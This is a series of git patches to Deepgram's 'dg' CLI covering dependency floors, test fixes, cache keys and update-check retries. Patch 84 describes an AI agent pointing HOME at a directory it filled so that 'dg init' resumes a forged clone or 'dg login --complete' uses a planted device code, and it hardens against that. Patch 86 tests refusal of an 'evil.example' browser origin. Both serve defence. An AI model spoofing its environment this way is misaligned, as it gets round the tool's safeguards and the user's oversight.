Date: Fri, 6 Nov 2026 22:33:39 -0500
Subject: [PATCH 81/88] build(deps): require mcp 1.23.1 or later for dg mcp

dg mcp's fast start answers the MCP handshake itself and offers protocol
2025-11-25, then hands the session to the proxy, which replays it
through the mcp package. mcp before 1.23.1 doesn't know that version, so
at the declared floor (1.22.0) the proxy couldn't take over a session
the fast start had agreed to. The lowest-direct CI job found it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 packages/deepctl-cmd-mcp/README.md      | 2 +-
 packages/deepctl-cmd-mcp/pyproject.toml | 6 ++++--
 uv.lock                                 | 2 +-
 3 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/packages/deepctl-cmd-mcp/README.md b/packages/deepctl-cmd-mcp/README.md
index 504c2bde..3b229eea 100644
--- a/packages/deepctl-cmd-mcp/README.md
+++ b/packages/deepctl-cmd-mcp/README.md
@@ -157,7 +157,7 @@ MCP config.
 
 ## Dependencies
 
-- `mcp>=1.22.0,<2.0.0`
+- `mcp>=1.23.1,<2.0.0`
 - `rich>=13.9.4,<16`
 - `click>=8.2.0,<9`
 - `pydantic>=2.10.1,<3`
diff --git a/packages/deepctl-cmd-mcp/pyproject.toml b/packages/deepctl-cmd-mcp/pyproject.toml
index ee397b67..53437caa 100644
--- a/packages/deepctl-cmd-mcp/pyproject.toml
+++ b/packages/deepctl-cmd-mcp/pyproject.toml
@@ -18,8 +18,10 @@ dependencies = [
     # script. 1.22 is the oldest mcp that runs dg mcp with current pydantic
     # (1.19-1.21 fail on import with pydantic 2.14), passes a returned
     # CallToolResult through whole and takes httpx_client_factory, which
-    # dg mcp uses to refuse redirects. mcp 2.0 removed streamablehttp_client.
-    "mcp>=1.22.0,<2.0.0",
+    # dg mcp uses to refuse redirects. 1.23.1 is the first that speaks MCP
+    # 2025-11-25, which dg mcp's fast start offers before the proxy loads.
+    # mcp 2.0 removed streamablehttp_client.
+    "mcp>=1.23.1,<2.0.0",
     "rich>=13.9.4,<16",
     "click>=8.2.0,<9",
     "pydantic>=2.10.1,<3",
diff --git a/uv.lock b/uv.lock
index a786edc3..3b28e812 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1243,7 +1243,7 @@ requires-dist = [
     { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "mcp", specifier = ">=1.22.0,<2.0.0" },
+    { name = "mcp", specifier = ">=1.23.1,<2.0.0" },
     { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.13.0" },
     { name = "pydantic", specifier = ">=2.10.1,<3" },
     { name = "pytest", marker = "extra == 'dev'", specifier = ">=8.3.3" },

From 5217565f93ba4779ee38d192f5d6780963cd71d2 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:33:40 -0500
Subject: [PATCH 82/88] test: let the unit tests run against installed packages
 at their floors

The lowest-direct job installs the released wheels, without the example
plugin, with every dependency at its floor. Plugin discovery on --help
and plugin completion need a plugin installed, so those two tests now
skip without deepctl-plugin-example. The usage error tests compare with
click's own "No such option" text, which click 8.4 changed. The manifest
tests that read the fragments or run the builder need the source tree;
from an installed wheel the runtime reads the built manifest.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 tests/unit/test_lazy_group.py | 19 ++++++++++++++++++-
 tests/unit/test_main.py       | 15 ++++++++++++---
 tests/unit/test_manifest.py   | 13 +++++++++++--
 3 files changed, 41 insertions(+), 6 deletions(-)

diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
index 38d21f5b..02681de6 100644
--- a/tests/unit/test_lazy_group.py
+++ b/tests/unit/test_lazy_group.py
@@ -97,6 +97,22 @@ def _invoke(group: click.Group, args: list[str]) -> None:
         pass
 
 
+def _example_plugin_installed() -> bool:
+    """deepctl-plugin-example is installed in the dev environment (a
+    workspace member), not with the released packages."""
+    from importlib import metadata
+
+    return any(
+        ep.name == "example" for ep in metadata.entry_points(group="deepctl.plugins")
+    )
+
+
+needs_example_plugin = pytest.mark.skipif(
+    not _example_plugin_installed(),
+    reason="needs deepctl-plugin-example installed (no plugin: nothing to discover)",
+)
+
+
 class TestDiscovery:
     """Plugins are discovered only for unknown names, --help, plugin list
     and an allowed override."""
@@ -106,7 +122,7 @@ class TestDiscovery:
         [
             (["models", "--help"], False),
             (["debug-audio", "--help"], False),
-            (["--help"], True),
+            pytest.param(["--help"], True, marks=needs_example_plugin),
             (["plugin", "list", "--help"], True),
         ],
     )
@@ -444,6 +460,7 @@ def spy(self: Any, **params: Any) -> Any:
 
 
 class TestCompletion:
+    @needs_example_plugin
     def test_plugins_complete(self, tmp_path: Path) -> None:
         """Completion offers plugin commands, as 0.4.x did."""
         proc = _dg(
diff --git a/tests/unit/test_main.py b/tests/unit/test_main.py
index e67c5ab6..4b8b0ff1 100644
--- a/tests/unit/test_main.py
+++ b/tests/unit/test_main.py
@@ -351,6 +351,15 @@ def test_usage_error_without_hint_keeps_contract(self, capsys):
         assert "error" in captured.err.lower()
 
 
+def _no_such(token: str, *possible: str) -> str:
+    """Click's own "No such option" text: click 8.4 quotes the option and
+    ends with a period ("No such option '--x'."), earlier releases don't
+    ("No such option: --x")."""
+    import click
+
+    return click.NoSuchOption(token, possibilities=list(possible)).format_message()
+
+
 class TestUsageErrorModes:
     """Usage/Try lines for people; two prefixed lines in agent mode."""
 
@@ -373,7 +382,7 @@ def _run(self, argv, capsys, *, agentic):
     def test_agent_mode_root_prints_error_and_hint_only(self, capsys):
         err = self._run(["dg", "-o", "json", "--bogus"], capsys, agentic=True)
         assert err.splitlines() == [
-            "ERROR: No such option '--bogus'. Did you mean '--verbose'?",
+            "ERROR: " + _no_such("--bogus", "--verbose"),
             "HINT: Run dg --help to see valid options.",
         ]
 
@@ -387,7 +396,7 @@ def test_agent_mode_global_option_hint_is_prefixed(self, capsys):
         err = self._run(["dg", "models", "--profile", "staging"], capsys, agentic=True)
         # Always exactly two lines: the placement hint replaces A-USAGE.
         assert err.splitlines() == [
-            "ERROR: No such option '--profile'.",
+            "ERROR: " + _no_such("--profile"),
             "HINT: --profile is a global option, so it goes before the "
             "command: dg --profile <value> models …",
         ]
@@ -402,7 +411,7 @@ def test_human_mode_keeps_usage_and_try_lines(self, capsys):
     @pytest.mark.parametrize("token", ["--[/x]", "--[red]x"])
     def test_human_mode_message_is_not_markup(self, capsys, token):
         err = self._run(["dg", "models", token], capsys, agentic=False)
-        assert f"Error: No such option '{token}'" in " ".join(err.split())
+        assert f"Error: {_no_such(token)}" in " ".join(err.split())
         assert "Traceback" not in err and "MarkupError" not in err
 
     def test_human_global_option_hint_uses_real_names(self, capsys):
diff --git a/tests/unit/test_manifest.py b/tests/unit/test_manifest.py
index 0e3e6345..14015f56 100644
--- a/tests/unit/test_manifest.py
+++ b/tests/unit/test_manifest.py
@@ -22,6 +22,12 @@
 REPO = Path(__file__).resolve().parents[2]
 SCHEMA = REPO / "docs" / "contracts" / "manifest.schema.json"
 FRAGMENTS = REPO / "src" / "deepctl" / "_manifest.d"
+# deepctl imported from this source tree (an editable install), not from an
+# installed wheel, which carries the built manifest and no fragments.
+FROM_SOURCE = Path(_manifest.__file__).resolve().parent == FRAGMENTS.parent.resolve()
+source_tree_only = pytest.mark.skipif(
+    not FROM_SOURCE, reason="deepctl is installed, not imported from this tree"
+)
 
 
 def _fragment(name: str, **extra: Any) -> dict[str, Any]:
@@ -56,8 +62,9 @@ def test_assembles(self) -> None:
 
     def test_runtime_reads_the_same_manifest(self) -> None:
         assert _manifest.load() == assemble(str(FRAGMENTS))
-        # From the source tree the fragments are used, never a stale file.
-        assert _manifest.source == "fragments"
+        # From the source tree the fragments are used, never a stale file;
+        # an installed wheel reads the manifest built from them.
+        assert _manifest.source == ("fragments" if FROM_SOURCE else "built")
 
     def test_validates_against_the_schema(self) -> None:
         import jsonschema  # a test dependency: this must never skip
@@ -69,6 +76,7 @@ def test_validates_against_the_schema(self) -> None:
         for path in sorted(FRAGMENTS.glob("*.json")):
             jsonschema.validate(json.loads(path.read_text()), fragment_schema)
 
+    @source_tree_only
     def test_check_cli(self) -> None:
         proc = subprocess.run(
             [sys.executable, "-m", "deepctl._manifest_build", "--check"],
@@ -78,6 +86,7 @@ def test_check_cli(self) -> None:
         )
         assert proc.returncode == 0, proc.stderr
 
+    @source_tree_only
     def test_builder_is_stdlib_only(self, tmp_path: Path) -> None:
         """It runs in the build_py hook, where only setuptools is installed."""
         code = (

From ea7c1213e51e661d2e4ee97b9558b0b5a8bb4cc5 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:35:32 -0500
Subject: [PATCH 83/88] fix(cli): key cached root help on the telemetry sink
 setting

Root --help ends "This version of dg sends no telemetry." unless a
loopback DEEPCTL_TELEMETRY_DSN is set, when it says telemetry is on. The
help cache key didn't record that variable, so a launcher could serve
one text where the other applies. Nothing reads the cache yet. The
locale and PYTHON* variables stay out of the key: an entry is written
only for a UTF-8 stdout, and the launcher applies Python's encoding
rule itself.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 src/deepctl/_cache.py    |  6 ++++++
 tests/unit/test_cache.py | 11 +++++++++++
 2 files changed, 17 insertions(+)

diff --git a/src/deepctl/_cache.py b/src/deepctl/_cache.py
index 05b9deb5..3279460c 100644
--- a/src/deepctl/_cache.py
+++ b/src/deepctl/_cache.py
@@ -57,6 +57,9 @@
     "DEEPCTL_TELEMETRY_DISABLED",
     "DO_NOT_TRACK",
     "DEEPCTL_TELEMETRY",
+    # A loopback sink turns the closing "sends no telemetry" line into
+    # "Telemetry is on".
+    "DEEPCTL_TELEMETRY_DSN",
     "CI",
     "DEEPCTL_EAGER_LOAD",
     "XDG_CONFIG_HOME",
@@ -64,6 +67,9 @@
     "OR_APP_NAME",
     "OR_SITE_URL",
 )
+# Not the locale or PYTHON* variables: an entry is written only when stdout
+# is UTF-8, and the launcher applies Python's encoding rule itself
+# (docs/contracts/help-cache.md).
 
 
 # Plugin command names (the 0.4.1 rule; plugin_manager._VALID_PLUGIN_NAME).
diff --git a/tests/unit/test_cache.py b/tests/unit/test_cache.py
index 35903fd6..1a4c4c36 100644
--- a/tests/unit/test_cache.py
+++ b/tests/unit/test_cache.py
@@ -691,6 +691,17 @@ def test_pi_path_changes_the_key(
         monkeypatch.setenv("PATH", "/home/x/.pi/agent:/usr/bin:/bin")
         assert _cache.key_inputs()["env"] != before["env"]
 
+    def test_telemetry_sink_changes_the_key(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        """With a loopback telemetry sink, root --help ends "Telemetry is
+        on" instead of "This version of dg sends no telemetry"."""
+        monkeypatch.delenv("DEEPCTL_TELEMETRY_DSN", raising=False)
+        assert _cache.key_inputs()["env"]["DEEPCTL_TELEMETRY_DSN"] is None
+        monkeypatch.setenv("DEEPCTL_TELEMETRY_DSN", "http://k@127.0.0.1:9/1")
+        env = _cache.key_inputs()["env"]
+        assert env["DEEPCTL_TELEMETRY_DSN"] == "http://k@127.0.0.1:9/1"
+
     def test_key_validates_against_the_schema(
         self, homes: Homes, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
     ) -> None:

From 4ebe797d87391f288c2435cf7de3d415bf21fa27 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:38:01 -0500
Subject: [PATCH 84/88] fix(init): keep an agent's resume records and logins
 under the real home

In an AI agent session the trust root, the plugin venv and the caches
come from the account's own home directory, but dg's state directory
followed $HOME. An agent could point HOME at a directory holding a
record for a clone it forged, and `dg init` would resume there, or a
pending device login it planted for `dg login --complete`. In an agent
session the state directory is now under the home the OS reports, and
$HOME is used only where the OS can't say.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/unit/test_init_resume.py            | 43 +++++++++++++++++++
 .../src/deepctl_core/login_state.py           | 17 +++++++-
 .../tests/unit/test_login_state.py            | 19 ++++++++
 3 files changed, 78 insertions(+), 1 deletion(-)

diff --git a/packages/deepctl-cmd-init/tests/unit/test_init_resume.py b/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
index cfe89f03..e4b5ac95 100644
--- a/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
+++ b/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
@@ -521,3 +521,46 @@ class TestResumeWithoutDirectoryHandles(TestResume):
     @pytest.fixture(autouse=True)
     def _windows(self, run: Any, monkeypatch: pytest.MonkeyPatch) -> None:
         _windows_directories(monkeypatch)
+
+
+@needs_git
+class TestAgentRecordsUnderTheRealHome:
+    """In an AI agent session the records live under the account's own
+    home, never $HOME, which the agent can point anywhere."""
+
+    @pytest.fixture
+    def real_home(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
+        from deepctl_core import config as config_module
+
+        real = tmp_path / "real-home"
+        real.mkdir()
+        monkeypatch.setattr(config_module, "_real_home", lambda: str(real))
+        return real
+
+    def _agent(self, run: Any, monkeypatch: pytest.MonkeyPatch, on: bool) -> None:
+        from deepctl_core import output
+
+        run.agent = on
+        monkeypatch.setattr(output, "is_ai_agent", lambda: on)
+
+    def test_a_record_under_home_is_not_used(
+        self, run: Any, real_home: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        run.makefile = True
+        assert run(no_install=True).status == "success"  # a person's clone
+        assert (run.home / ".deepctl" / clones.DIR_NAME).is_dir()
+        self._agent(run, monkeypatch, True)
+        result = run(api_key=KEY, install=True)
+        assert result.code == "invalid_argument"
+        assert run.setup_runs == []
+
+    def test_the_agent_resumes_its_own_clone(
+        self, run: Any, real_home: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        run.makefile = True
+        self._agent(run, monkeypatch, True)
+        assert run(no_install=True).status == "success"
+        assert (real_home / ".deepctl" / clones.DIR_NAME).is_dir()
+        assert not (run.home / ".deepctl").exists()
+        assert run(no_install=True).status == "success"
+        assert run.clones == 1
diff --git a/packages/deepctl-core/src/deepctl_core/login_state.py b/packages/deepctl-core/src/deepctl_core/login_state.py
index 3de1ec67..a430c596 100644
--- a/packages/deepctl-core/src/deepctl_core/login_state.py
+++ b/packages/deepctl-core/src/deepctl_core/login_state.py
@@ -44,7 +44,22 @@
 
 
 def state_dir() -> Path:
-    """dg's state directory (``~/.deepctl`` in 0.5.0)."""
+    """dg's state directory (``~/.deepctl`` in 0.5.0).
+
+    In an AI agent session the home is the account's own, from the OS, and
+    never ``$HOME``, as for the trust root, the plugin venv and the caches:
+    an agent that pointed ``HOME`` at a directory it filled could otherwise
+    have ``dg init`` resume in a clone it forged, or ``dg login --complete``
+    poll with a device code it planted. Where the OS can't say, ``$HOME``.
+    """
+    from . import output
+
+    if output.is_ai_agent():
+        from .config import _real_home
+
+        home = _real_home()
+        if home is not None:
+            return Path(home) / ".deepctl"
     return Path.home() / ".deepctl"
 
 
diff --git a/packages/deepctl-core/tests/unit/test_login_state.py b/packages/deepctl-core/tests/unit/test_login_state.py
index fec53273..ac518083 100644
--- a/packages/deepctl-core/tests/unit/test_login_state.py
+++ b/packages/deepctl-core/tests/unit/test_login_state.py
@@ -256,3 +256,22 @@ def test_open_nofollow_refuses_a_file_swapped_after_lstat(tmp_path, monkeypatch)
     with pytest.raises(OSError) as excinfo:
         login_state.open_nofollow(first, os.O_RDONLY)
     assert excinfo.value.errno == errno.ELOOP
+
+
+def test_agent_session_uses_the_real_home(state, tmp_path, monkeypatch):
+    """An agent can point HOME at a directory it filled: in its sessions
+    the pending login lives under the account's own home."""
+    from deepctl_core import config as config_module
+    from deepctl_core import output
+
+    real = tmp_path / "real-home"
+    real.mkdir()
+    monkeypatch.setattr(config_module, "_real_home", lambda: str(real))
+    assert login_state.state_dir() == state  # a person: HOME
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    assert login_state.state_dir() == real / ".deepctl"
+    path = save_pending(pending())
+    assert path.parent == real / ".deepctl"
+    assert not state.exists()
+    monkeypatch.setattr(config_module, "_real_home", lambda: None)
+    assert login_state.state_dir() == state  # the OS can't say: HOME

From dfc9e9b4915479ee7d340c1f8fe9f1465541e374 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:39:14 -0500
Subject: [PATCH 85/88] fix(update): retry an update check that didn't finish
 after an hour

The check runs in a daemon thread that dg never waits for, and its
attempt was saved before the request went out. A run that ended before
the answer came back (most dg commands are that quick) used up the whole
interval, so for someone who only runs short commands the check might
never complete. An attempt that failed or didn't finish now counts for
an hour (or the interval, if shorter); only a check that got its answer
waits the full interval. The plugin update check follows the same rule.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../src/deepctl_cmd_update/check_cache.py     | 27 ++++++++++---
 .../deepctl_cmd_update/plugin_update_check.py |  6 +--
 .../src/deepctl_cmd_update/startup_check.py   | 22 ++++++-----
 .../tests/unit/test_startup_check.py          | 38 ++++++++++++++++++-
 4 files changed, 73 insertions(+), 20 deletions(-)

diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py
index d9ab5e2d..0185913c 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py
@@ -3,10 +3,14 @@
 Each check has one small JSON file there, ``update-check.json`` for dg itself
 and ``plugin-update-check.json`` for plugins, holding ``checked_at`` (Unix
 time), ``ok``, ``latest`` and ``source``, plus ``notified_at`` and
-``notified_latest`` once a notice was shown (``claim_notice``). A check writes its file just before it sends its request and again
-when it gets an answer, so a check that fails or never finishes still waits a
-full interval before the next attempt, while a run that ends before the
-request goes out doesn't use up the interval.
+``notified_latest`` once a notice was shown (``claim_notice``). A check writes
+its file (``ok`` false) just before it sends its request, and again when it
+gets an answer. A check that got its answer waits a full interval before the
+next one; one that failed, or never finished because dg exited first (the
+check runs in a daemon thread and is never waited for), is tried again after
+``RETRY_SECONDS``, or the interval if that is shorter. So short commands
+don't use up the interval without a check ever completing, and an unreachable
+index isn't asked on every run.
 
 The user config file is never written here. The directory is 0700 and must be
 a real directory owned by this user: :func:`usable` tightens one this user
@@ -27,6 +31,8 @@
 from typing import Any
 
 UPDATE_FILE = "update-check.json"
+# How long after a check that failed or never finished the next one runs.
+RETRY_SECONDS = 3600.0
 PLUGIN_FILE = "plugin-update-check.json"
 
 
@@ -242,6 +248,15 @@ def elapsed(since: float, interval: float) -> bool:
     return not 0 <= gone < interval
 
 
+def check_due(state: dict[str, Any] | None, interval: float) -> bool:
+    """Whether the next check is due: ``interval`` after one that got its
+    answer, ``RETRY_SECONDS`` (at most ``interval``) after one that didn't."""
+    wait = interval
+    if (state or {}).get("ok") is not True:
+        wait = min(interval, RETRY_SECONDS)
+    return elapsed(checked_at(state), wait)
+
+
 def due(name: str, interval: float) -> bool:
-    """Whether at least ``interval`` seconds passed since the last check."""
-    return elapsed(checked_at(read(name)), interval)
+    """Whether the next check of ``name`` is due (:func:`check_due`)."""
+    return check_due(read(name), interval)
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
index 5c6e638a..8c907046 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
@@ -168,9 +168,9 @@ def _background_plugin_check(result: dict[str, Any]) -> None:
     """Run plugin discovery + PyPI check (called inside a daemon thread).
 
     The attempt is saved just before the first request goes out (see
-    :func:`_check_pypi_versions`), so one that fails or never finishes still
-    counts as this interval's check, while a run that ends before then
-    doesn't.
+    :func:`_check_pypi_versions`), so one that fails or never finishes is
+    tried again after ``check_cache.RETRY_SECONDS``, while a run that ends
+    before then doesn't count at all.
     """
     try:
         plugins = _discover_community_plugins()
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
index d45f2cb8..e9c9887a 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
@@ -5,13 +5,14 @@
 already finished; dg never waits for it. A check that hasn't finished is
 dropped, and the interpreter stops the thread at exit.
 
-The check runs at most once per interval (daily by default). Its state lives
-in ``<cache>/update-check.json`` (``check_cache``), written just before the
-request goes out and again with the answer, so a failing or slow index is
-tried again only after a full interval. When no check is due and the saved
-answer names a newer version, the notice prints from it, at most once per
-interval (``notified_at``), so an answer that came in too late for its own
-run still reaches the person. The user config file is never written. When
+A check that got its answer runs again after the interval (daily by
+default). Its state lives in ``<cache>/update-check.json`` (``check_cache``),
+written just before the request goes out and again with the answer, so a
+failing or slow index, or a run that ended first, is tried again after
+``check_cache.RETRY_SECONDS`` (an hour), not on every run. When no check is
+due and the saved answer names a newer version, the notice prints from it, at
+most once per interval (``notified_at``), so an answer that came in too late
+for its own run still reaches the person. The user config file is never written. When
 the cache directory can't be made private, the check doesn't run at all.
 
 The check is skipped entirely under ``--quiet``, in CI, in an AI agent or
@@ -142,8 +143,9 @@ def _background_check(current_version: str, result: dict[str, Any]) -> None:
     """Run the version check synchronously (called inside a thread).
 
     The attempt is saved just before the request goes out, so one that
-    fails or never finishes still counts as this interval's check, while a
-    run that ends before the request (imports take a while) doesn't.
+    fails or never finishes is tried again after ``check_cache.RETRY_SECONDS``
+    rather than on every run, while a run that ends before the request
+    (imports take a while) doesn't count at all.
     """
     try:
         # httpx loads here, in the thread, never on the main path. Building
@@ -248,7 +250,7 @@ def check_and_notify(
             return
 
     state = check_cache.read(check_cache.UPDATE_FILE)
-    if not check_cache.elapsed(check_cache.checked_at(state), interval):
+    if not check_cache.check_due(state, interval):
         _saved_notice = _newer_saved(state, current_version, interval)
         return
 
diff --git a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
index e2846e25..4dde94ff 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
@@ -230,7 +230,7 @@ def test_reads_the_run_args(self, monkeypatch, args, expected):
 class TestBackoff:
     """The cache file records every attempt, success or not."""
 
-    def test_failure_is_recorded_and_waits_a_day(self, check_allowed):
+    def test_failure_is_recorded_and_waits_before_retrying(self, check_allowed):
         with patch("httpx.Client.get", side_effect=OSError("unreachable")):
             check_and_notify(current_version="1.0.0")
             mod._thread.join(timeout=5.0)
@@ -299,6 +299,42 @@ def test_due_again_after_the_interval(self, check_allowed):
         path.write_text(json.dumps(state))
         assert check_cache.due(check_cache.UPDATE_FILE, 86400.0)
 
+    @staticmethod
+    def _aged(directory, *, ok: bool, seconds: float) -> None:
+        check_cache.write(check_cache.UPDATE_FILE, ok=ok, latest=None, source="pypi")
+        path = directory / check_cache.UPDATE_FILE
+        state = json.loads(path.read_text())
+        state["checked_at"] -= seconds
+        path.write_text(json.dumps(state))
+
+    def test_unfinished_check_is_retried_within_the_interval(self, check_allowed):
+        """dg often exits before the answer arrives (the check never makes
+        a run wait): such an attempt counts for RETRY_SECONDS, not a day,
+        so short commands don't keep the check from ever completing."""
+        assert check_cache.usable()
+        retry = check_cache.RETRY_SECONDS
+        assert retry < 86400.0
+        self._aged(check_allowed, ok=False, seconds=retry - 60)
+        assert not check_cache.due(check_cache.UPDATE_FILE, 86400.0)
+        self._aged(check_allowed, ok=False, seconds=retry + 1)
+        assert check_cache.due(check_cache.UPDATE_FILE, 86400.0)
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_and_notify(current_version="1.0.0")
+        thread_cls.assert_called_once()
+
+    def test_completed_check_waits_the_whole_interval(self, check_allowed):
+        assert check_cache.usable()
+        self._aged(check_allowed, ok=True, seconds=check_cache.RETRY_SECONDS + 1)
+        assert not check_cache.due(check_cache.UPDATE_FILE, 86400.0)
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_and_notify(current_version="1.0.0")
+        thread_cls.assert_not_called()
+
+    def test_retry_is_never_later_than_the_interval(self, check_allowed):
+        assert check_cache.usable()
+        self._aged(check_allowed, ok=False, seconds=601)
+        assert check_cache.due(check_cache.UPDATE_FILE, 600.0)
+
     def test_future_timestamp_is_due(self, check_allowed):
         assert check_cache.usable()
         check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="1", source="pypi")

From d8f8096c0809e9323b62596090bf7ebe7ba611c4 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:39:58 -0500
Subject: [PATCH 86/88] test(debug-probe): check the Origin refusal on a
 running proxy

The Host and Origin checks were tested by calling process_request
directly, so nothing showed that start() passes it to the server. A
running proxy now refuses a handshake from another origin with 403
before any upstream connection, and lets a loopback origin through.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/unit/test_probe.py                  | 53 +++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
index e5d2480e..eb57f8c8 100644
--- a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
@@ -745,3 +745,56 @@ def test_refused_host_gets_no_key(monkeypatch, tmp_path):
         with pytest.raises(hosts.CredentialHostError):
             ProbeCommand().handle(config, AuthManager(config), Mock(), port=None)
     assert built == []
+
+
+@pytest.mark.parametrize(
+    ("origin", "refused"),
+    [("https://evil.example", True), ("null", True), ("http://localhost:5173", False)],
+)
+def test_the_running_proxy_checks_origin_before_any_upstream(origin, refused):
+    """End to end: start() wires process_request, so a browser page from
+    another origin gets 403 on the handshake and nothing reaches Deepgram."""
+    from websockets.asyncio.client import connect
+    from websockets.exceptions import InvalidStatus
+
+    seen = []
+
+    def record(connection, request):
+        seen.append(request.path)
+
+    async def main():
+        upstream, up_port = await _upstream(record)
+        proxy = _proxy_to(up_port)
+        port = _free_port()
+        run = asyncio.ensure_future(proxy.run(port))
+        status = None
+        try:
+            for _ in range(100):
+                try:
+                    async with connect(
+                        f"ws://127.0.0.1:{port}/v1/listen?encoding=linear16",
+                        origin=origin,
+                        open_timeout=5,
+                    ) as ws:
+                        await ws.send(b"\0\0")
+                    break
+                except InvalidStatus as exc:
+                    status = exc.response.status_code
+                    break
+                except OSError:
+                    await asyncio.sleep(0.02)  # not listening yet
+            await asyncio.sleep(0.2)
+        finally:
+            proxy._stop.set()
+            await asyncio.wait_for(run, 20)
+            upstream.close()
+            await upstream.wait_closed()
+        return status
+
+    status = asyncio.run(main())
+    if refused:
+        assert status == 403
+        assert seen == []
+    else:
+        assert status is None
+        assert seen == ["/v1/listen?encoding=linear16"]

From cedf89cdd88a97933d7c74ec1a0173f0993cfd98 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:40:44 -0500
Subject: [PATCH 87/88] test(cli): run 0.4.1's output encoding checks on 0.5.0

0.4.1 checks the cp1252 stream with `dg --version` too, imports the
function it tests by name and keeps PYTHONUTF8 from turning UTF-8 mode
on in the child. Use that version here, with 0.5.0's
`dg help agent-mode` case added.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 tests/unit/test_output_encoding.py | 25 +++++++++++++++----------
 1 file changed, 15 insertions(+), 10 deletions(-)

diff --git a/tests/unit/test_output_encoding.py b/tests/unit/test_output_encoding.py
index 4cf9fe6a..1fbf134c 100644
--- a/tests/unit/test_output_encoding.py
+++ b/tests/unit/test_output_encoding.py
@@ -11,11 +11,14 @@
 import os
 import subprocess
 import sys
-from pathlib import Path
+from typing import TYPE_CHECKING
 
 import pytest
 
-from deepctl import main as dg_main
+from deepctl.main import safe_output_streams
+
+if TYPE_CHECKING:
+    from pathlib import Path
 
 
 def _stream(encoding: str, errors: str = "strict") -> io.TextIOWrapper:
@@ -37,7 +40,7 @@ def test_cp1252_stream_escapes_instead_of_raising(
     out, err = _stream("cp1252", errors), _stream("cp1252", errors)
     monkeypatch.setattr(sys, "stdout", out)
     monkeypatch.setattr(sys, "stderr", err)
-    dg_main.safe_output_streams()
+    safe_output_streams()
     out.write("ok ✓ café █")
     err.write("✗")
     assert _written(out) == b"ok \\u2713 caf\xe9 \\u2588"
@@ -49,7 +52,7 @@ def test_cp1252_stream_escapes_instead_of_raising(
 def test_utf8_stream_is_untouched(monkeypatch: pytest.MonkeyPatch) -> None:
     out = _stream("UTF-8")
     monkeypatch.setattr(sys, "stdout", out)
-    dg_main.safe_output_streams()
+    safe_output_streams()
     assert out.errors == "strict"
     assert out.encoding == "UTF-8"
 
@@ -57,7 +60,7 @@ def test_utf8_stream_is_untouched(monkeypatch: pytest.MonkeyPatch) -> None:
 def test_chosen_error_handler_is_kept(monkeypatch: pytest.MonkeyPatch) -> None:
     out = _stream("cp1252", "replace")
     monkeypatch.setattr(sys, "stdout", out)
-    dg_main.safe_output_streams()
+    safe_output_streams()
     assert out.errors == "replace"
 
 
@@ -67,18 +70,19 @@ def test_odd_streams_are_skipped(
 ) -> None:
     monkeypatch.setattr(sys, "stdout", stream)
     monkeypatch.setattr(sys, "stderr", stream)
-    dg_main.safe_output_streams()  # no error
+    safe_output_streams()  # no error
 
 
